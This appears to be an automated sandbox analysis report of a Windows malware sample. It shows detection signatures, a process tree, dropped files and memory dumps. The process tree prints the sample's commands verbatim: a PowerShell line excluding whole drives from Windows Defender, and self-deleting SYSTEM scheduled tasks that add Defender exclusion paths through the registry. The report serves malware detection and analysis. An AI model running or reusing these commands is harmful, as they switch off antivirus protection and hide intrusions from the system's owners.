Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 04:09

General

  • Target
    2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
  • Size 55.2MB
  • Sample260805-eqtq3svxes
  • SHA256 e4ce5fba84dcd59c1878a86f39a2d15faeb03bf3d4b2c52398d97de723f6db52
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-05_12d2c21055fd493bd73d4a4001830f59_cobalt-strike_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4924
  • C:\Users\Public\EbKXtO\coi09p.exe
    "C:\Users\Public\EbKXtO\coi09p.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3852
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EbKXtO\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EbKXtO\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1552
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2704
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3872
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1580
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6140
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3660
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5384
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2300
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5748
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5920
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4988
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4956
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2416
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5728
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5752
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:696
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5812
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5272
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2536
                      • C:\Users\Public\EbKXtO\coi09p.exe
                        "C:\Users\Public\EbKXtO\coi09p.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5868
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EbKXtO" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3344
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EbKXtO" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:832
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2484
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2200
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2128
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1112
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2020

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 7e285552b7b12820be06185852b3c36717252b5a6dd0d881ef593eea300889aa
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\EbKXtO\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 6cdc17e7d6b569aefcd2d953ef128c5302bd6a089a20900b1b36a48929612a1a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\EbKXtO\adoresd.dat
                              • Size 4.7MB
                              • SHA256 1702c83f9d7da93192802a6a50c16d9f8e488b1f0fe6a7386d6551b51cbd7513
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              coi09p.exe

                              • Path C:\Users\Public\EbKXtO\coi09p.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\EbKXtO\msadox.tb
                              • Size 8KB
                              • SHA256 e2eeb4d0058e7b2db55c0af963ad83af62f97b556128b3915ec6de8a71f3d2f6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3852-594-0x00000267FE7E0000-0x00000267FE802000-memory.dmp

                              memory/3852-600-0x00000267FE860000-0x00000267FE86A000-memory.dmp

                              memory/3852-599-0x00000267FEAD0000-0x00000267FEB82000-memory.dmp

                              memory/3852-598-0x00000267FE840000-0x00000267FE85E000-memory.dmp

                              memory/4272-563-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

                              memory/4272-568-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-538-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-540-0x00007FF80FD20000-0x00007FF80FD22000-memory.dmp

                              memory/4272-541-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-545-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-546-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-547-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-548-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-552-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-560-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

                              memory/4272-562-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

                              memory/4272-561-0x0000020FC3650000-0x0000020FC36DA000-memory.dmp

                              memory/4272-558-0x0000020FC22A0000-0x0000020FC22EE000-memory.dmp

                              memory/4272-532-0x00007FF80FD10000-0x00007FF80FD12000-memory.dmp

                              memory/4272-565-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-567-0x0000020FC2DB0000-0x0000020FC3641000-memory.dmp

                              memory/4272-533-0x00007FFFEF120000-0x00007FFFEF63E000-memory.dmp

                              memory/4924-0-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/4924-2-0x0000000005720000-0x000000000572B000-memory.dmp

                              memory/4924-1-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/4924-527-0x00007FFFFF1B0000-0x00007FFFFF1C2000-memory.dmp

                              memory/4924-526-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/4924-504-0x00007FFFFF1B0000-0x00007FFFFF1C2000-memory.dmp

                              memory/5868-591-0x00007FF80FD10000-0x00007FF80FD12000-memory.dmp

                              memory/5868-589-0x00000189672E0000-0x0000018967B71000-memory.dmp

                              memory/5868-590-0x00000189672E0000-0x0000018967B71000-memory.dmp

                              memory/5868-588-0x00000189672E0000-0x0000018967B71000-memory.dmp

                              memory/5868-585-0x00000189672E0000-0x0000018967B71000-memory.dmp

                              memory/5868-575-0x00007FFFEF120000-0x00007FFFEF63E000-memory.dmp

                              memory/5868-587-0x00000189672E0000-0x0000018967B71000-memory.dmp

                              memory/5868-582-0x00007FF80FD20000-0x00007FF80FD22000-memory.dmp

                              memory/5868-580-0x00000189672E0000-0x0000018967B71000-memory.dmp